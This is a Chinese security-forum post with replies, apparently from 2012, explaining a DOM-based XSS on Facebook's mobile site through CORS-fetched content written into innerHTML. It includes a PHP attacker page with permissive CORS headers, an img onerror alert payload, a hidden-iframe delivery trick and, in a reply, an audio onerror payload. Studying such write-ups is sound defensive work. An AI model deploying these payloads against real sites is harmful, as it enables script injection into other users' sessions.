当前位置:WooYun(白帽子技术社区) >> xss >> [转]HTML5跨域请求特性导致的Fackbook Xss

[转]HTML5跨域请求特性导致的Fackbook Xss

gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-05 21:38

原文是英文的,将大致Xss流程转过来了。

传统情况下

缺陷URL是:http://touch.facebook.com/#profile.php

打开这个页面后,

会执行下面的操作 (这里是基于JQ的伪代码)

$.get(#后面的地址,function(返回内容){

  $("#somediv").innerHTML=返回内容
});

在以前,这里不会带来安全问题, 因为浏览器是不允许跨域请求的。

HTML5中

在HTML5中,支持 CORS(Cross-Origin Resource Sharing),跨域资源共享?可能是这么翻译的吧。。

也就是说,在HTML5中,我们可以向不同域的网站发送请求。

例如这个例子里,我们可以

http://touch.facebook.com/#http://example.com/xss.php

那么打开上面这个地址,

页面会通过ajax向 http://example.com/xss.php  发送跨域请求。

这个时候浏览器会检查 http://example.com/xss.php  所返回的 请求头。

看头中的 Access-Control-Allow-Origin 头是否允许来自 touch.facebook.com的请求。

为了允许来自touch.facebook.com的请求,

xss.php的代码如下,用header对response 的头进行设置。

<?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');

// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');

// Additional headers which may be sent along with the CORS request

header('Access-Control-Allow-Headers: X-Requested-With');

// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
    exit();
}
?>
<!-- this div is needed to load the payload into facebook -->
<div tab="home_menu" id="feed_tabbox" onreplace="fb.updateCurrentPage()">
<img style="display:none" src="x" onerror="alert('xss')" />
</div>


这样一来, touch.facebook.com 会通过ajax跨域获取到 example.com/xss.php的内容,并通过innerHTML输出到页面,从而导致Xss的发生。

-----

为了使攻击变得更加隐蔽,可以在其它网站 iframe 这个页面

<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>

为了让touch.facebook.com这个页面能直接对facebook.com操作,可在JS里加入

document.domain = 'facebook.com'


浏览器对CORS的支持情况

CORS在IE8 以及 当前其它主流的浏览器中被支持。(Firefox 3.5, Safari 4, and Google Chrome.

其中IE8 ,普通的AJAX请求是 XMLHttpRequest, 跨域请求则专门有一个对象 XDomainRequest

浏览器兼容的CORS代码

国外网站转过来的,主要点是通过withCredentials和XDomainRequest来判断是否支持CORS
function createCORSRequest(method, url) {
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr) {

    // Check if the XMLHttpRequest object has a "withCredentials" property.
    // "withCredentials" only exists on XMLHTTPRequest2 objects.
    xhr.open(method, url, true);

  } else if (typeof XDomainRequest != "undefined") {

    // Otherwise, check if XDomainRequest.
    // XDomainRequest only exists in IE, and is IE's way of making CORS requests.
    xhr = new XDomainRequest();
    xhr.open(method, url);

  } else {

    // Otherwise, CORS is not supported by the browser.
    xhr = null;

  }
  return xhr;
}

var xhr = createCORSRequest('GET', url);
if (!xhr) {
  throw new Error('CORS not supported');
}


原文地址:http://m-austin.com/blog/?p=19

参考:
http://www.html5rocks.com/en/tutorials/cors/

分享到:
  1. 1#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-05 21:42

    网上讲HTML5安全基本都会提到这个CORS,但是实际的例子还不算多,觉得这个例子是一个比较典型的,就转过来了,顺便凑了点找到的资料,揉杂在一起的。

  2. 2#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-07-05 21:51

    不错 domxss+html5 security 啊

  3. 3#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2012-07-05 22:05

    后面的xxx.php可以控制js写domain? 这样我就学到了http://xx.com#aa.com 能控制xx的域 thx

  4. 4#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-07-06 04:18

    真心觉得跟html5关系不大

  5. 5#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-06 08:14

    @Sogili = = 那与什么有关系呢?

  6. 6#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-07-06 08:29

    @gainover  CORS跟html5本来就没关系,HTML5这词都快被搞烂了:(

  7. 7#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-06 08:58

    @Sogili HTML5这个词的含义确实被延伸了。 不过也不能说cors和html5没关系, html4标准里没有cors这个概念,html5里有了, 应该还能算是有关系的~~

  8. 8#
    回复此人 感谢
    墨水心_Len | 2012-07-06 09:03

    不错!

  9. 9#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-06 09:11

    @Sogili 刚查了下w3,这种cors的请求,应该也算是html5标准的一部分。

    http://www.w3.org/TR/html5/urls.html#cors-enabled-fetch

  10. 10#
    回复此人 感谢
    rayh4c | 2012-07-06 17:59

    很赞~Cross-Origin Resource Sharing控制返回内容

  11. 11#
    回复此人 感谢
    kamikaze | 2012-07-09 08:31

    IE下,XDomainRequest对象不包含setRequestHeader函数,因此无法对RequestHeader进行进行设置,而post传值时,必须设置Content-Type的值为application/x-www-form-urlencoded

    要在IE下传post值,何解?

  12. 12#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-09 22:04

    @kamikaze xhr.contentType="application/x-www-form-urlencoded" 这样试试?

  13. 13#
    回复此人 感谢
    紫梦芊 ( ̄. ̄) | 2012-07-10 09:08

    mark~

  14. 14#
    回复此人 感谢
    kamikaze | 2012-07-10 09:50

    @gainover contentType应该是只读,赋值会报错

    contentType:
    Gets the Content-Type property in the HTML request or response header.

    http://msdn.microsoft.com/en-us/library/cc288060.aspx

    不知道IE在搞啥,其他浏览器都支持的很好

  15. 15#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-10 11:11

    @kamikaze = = 微软蛋疼了。

  16. 16#
    回复此人 感谢
    menmen519 | 2014-08-18 22:49

    <audio onerror=javascript:alert(1)><source>

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录